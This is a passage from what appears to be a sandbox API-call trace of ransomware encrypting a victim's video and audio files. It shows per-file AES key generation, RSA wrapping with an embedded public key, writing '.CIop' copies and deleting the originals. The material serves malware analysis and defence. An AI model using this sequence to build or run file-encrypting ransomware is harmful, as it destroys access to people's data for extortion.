lpDistanceToMoveHigh=0x0) returned 0xb09b [0105.982] WriteFile (in: hFile=0x688, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.983] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb0a2 [0105.983] SetErrorMode (uMode=0x1) returned 0x1 [0105.983] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.983] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.983] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0105.983] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1bd48) returned 1 [0105.983] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1bd48, dwCertEncodingType=0x1, pInfo=0x6927d8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e5f8) returned 1 [0105.983] CryptEncrypt (in: hKey=0x67e5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0105.983] CryptEncrypt (in: hKey=0x67e5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1ba18*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1ba18*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0105.983] WriteFile (in: hFile=0x688, lpBuffer=0x2f1ba18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1ba18*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.983] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.983] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.983] VirtualFree (lpAddress=0x3270000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.984] CloseHandle (hObject=0x688) returned 1 [0105.985] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\0_psbc9.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\0_psbc9.avi")) returned 0 Thread: id = 211 os_tid = 0xe1c [0105.871] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.871] lstrcpyW (in: lpString1=0x326f368, lpString2="DqXOsfvU6Y tHX.wav" | out: lpString1="DqXOsfvU6Y tHX.wav") returned="DqXOsfvU6Y tHX.wav" [0105.871] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0105.871] SetErrorMode (uMode=0x1) returned 0x1 [0105.871] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\DqXOsfvU6Y tHX.wav") returned 69 [0105.871] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\DqXOsfvU6Y tHX.wav", dwFileAttributes=0x20) returned 1 [0105.871] StrStrW (lpFirst="DqXOsfvU6Y tHX.wav", lpSrch=".CIop") returned 0x0 [0105.871] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\DqXOsfvU6Y tHX.wav.CIop") returned 74 [0105.871] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\DqXOsfvU6Y tHX.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\dqxosfvu6y thx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0105.872] ReadFile (in: hFile=0x66c, lpBuffer=0x2f0ec98, nNumberOfBytesToRead=0x6c84, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ec98*, lpNumberOfBytesRead=0x326e5e8*=0x6c84, lpOverlapped=0x0) returned 1 [0105.872] CloseHandle (hObject=0x66c) returned 1 [0105.872] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\DqXOsfvU6Y tHX.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\dqxosfvu6y thx.wav")) returned 1 [0105.874] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0105.875] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0105.875] SetErrorMode (uMode=0x1) returned 0x1 [0105.875] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f1b990) returned 1 [0105.885] CryptGenKey (in: hProv=0x2f1b990, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67e338) returned 1 [0105.939] CryptExportKey (in: hKey=0x67e338, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0105.940] CryptExportKey (in: hKey=0x67e338, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0105.940] CryptDestroyKey (hKey=0x67e338) returned 1 [0105.940] CryptReleaseContext (hProv=0x2f1b990, dwFlags=0x0) returned 1 [0105.940] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\DqXOsfvU6Y tHX.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\dqxosfvu6y thx.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0105.940] WriteFile (in: hFile=0x66c, lpBuffer=0x2f0ec98*, nNumberOfBytesToWrite=0x6c84, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ec98*, lpNumberOfBytesWritten=0x326e5d8*=0x6c84, lpOverlapped=0x0) returned 1 [0105.941] SetFilePointer (in: hFile=0x66c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6c84 [0105.941] WriteFile (in: hFile=0x66c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0105.941] SetFilePointer (in: hFile=0x66c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6c8b [0105.941] SetErrorMode (uMode=0x1) returned 0x1 [0105.941] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0105.941] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0105.941] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0105.941] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x2f1b990) returned 1 [0105.985] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1b990, dwCertEncodingType=0x1, pInfo=0x692638, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67e438) returned 1 [0105.985] CryptEncrypt (in: hKey=0x67e438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0105.985] CryptEncrypt (in: hKey=0x67e438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1bdd0*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1bdd0*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0105.985] WriteFile (in: hFile=0x66c, lpBuffer=0x2f1bdd0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1bdd0*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0105.985] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.986] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.986] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.987] CloseHandle (hObject=0x66c) returned 1 [0105.990] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\DqXOsfvU6Y tHX.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\dqxosfvu6y thx.wav")) returned 0 Thread: id = 212 os_tid = 0xe64 [0106.351] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.351] lstrcpyW (in: lpString1=0x312f368, lpString2="3m7QHv7T5mGuFh2A31Q.avi" | out: lpString1="3m7QHv7T5mGuFh2A31Q.avi") returned="3m7QHv7T5mGuFh2A31Q.avi" [0106.351] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0106.351] SetErrorMode (uMode=0x1) returned 0x1 [0106.351] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\3m7QHv7T5mGuFh2A31Q.avi") returned 81 [0106.351] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\3m7QHv7T5mGuFh2A31Q.avi", dwFileAttributes=0x20) returned 1 [0106.352] StrStrW (lpFirst="3m7QHv7T5mGuFh2A31Q.avi", lpSrch=".CIop") returned 0x0 [0106.352] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\3m7QHv7T5mGuFh2A31Q.avi.CIop") returned 86 [0106.352] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\3m7QHv7T5mGuFh2A31Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\3m7qhv7t5mgufh2a31q.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x678 [0106.353] ReadFile (in: hFile=0x678, lpBuffer=0x656668, nNumberOfBytesToRead=0x18cac, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x312e5e8*=0x18cac, lpOverlapped=0x0) returned 1 [0106.354] CloseHandle (hObject=0x678) returned 1 [0106.354] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\3m7QHv7T5mGuFh2A31Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\3m7qhv7t5mgufh2a31q.avi")) returned 1 [0106.358] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0106.358] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0106.358] SetErrorMode (uMode=0x1) returned 0x1 [0106.359] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1bbb0) returned 1 [0106.361] CryptGenKey (in: hProv=0x2f1bbb0, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e838) returned 1 [0106.465] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0106.465] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0106.465] CryptDestroyKey (hKey=0x67e838) returned 1 [0106.465] CryptReleaseContext (hProv=0x2f1bbb0, dwFlags=0x0) returned 1 [0106.466] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\3m7QHv7T5mGuFh2A31Q.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\3m7qhv7t5mgufh2a31q.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x690 [0106.467] WriteFile (in: hFile=0x690, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x18cac, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x312e5d8*=0x18cac, lpOverlapped=0x0) returned 1 [0106.468] SetFilePointer (in: hFile=0x690, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18cac [0106.468] WriteFile (in: hFile=0x690, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0106.469] SetFilePointer (in: hFile=0x690, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18cb3 [0106.469] SetErrorMode (uMode=0x1) returned 0x1 [0106.469] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0106.469] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0106.469] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0106.469] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1bbb0) returned 1 [0106.469] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1bbb0, dwCertEncodingType=0x1, pInfo=0x6912b8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e338) returned 1 [0106.469] CryptEncrypt (in: hKey=0x67e338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0106.469] CryptEncrypt (in: hKey=0x67e338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1bff0*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1bff0*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0106.469] WriteFile (in: hFile=0x690, lpBuffer=0x2f1bff0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1bff0*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0106.469] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.470] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.470] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.470] CloseHandle (hObject=0x690) returned 1 [0106.472] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\3m7QHv7T5mGuFh2A31Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\3m7qhv7t5mgufh2a31q.avi")) returned 0 Thread: id = 213 os_tid = 0xe6c [0106.371] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.371] lstrcpyW (in: lpString1=0x326f368, lpString2="4xODVA0z5L5w0l.mkv" | out: lpString1="4xODVA0z5L5w0l.mkv") returned="4xODVA0z5L5w0l.mkv" [0106.371] lstrcpyW (in: lpString1=0x326f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0106.371] SetErrorMode (uMode=0x1) returned 0x1 [0106.371] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\4xODVA0z5L5w0l.mkv") returned 76 [0106.371] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\4xODVA0z5L5w0l.mkv", dwFileAttributes=0x20) returned 1 [0106.372] StrStrW (lpFirst="4xODVA0z5L5w0l.mkv", lpSrch=".CIop") returned 0x0 [0106.372] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\4xODVA0z5L5w0l.mkv.CIop") returned 81 [0106.372] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\4xODVA0z5L5w0l.mkv" (normalized: 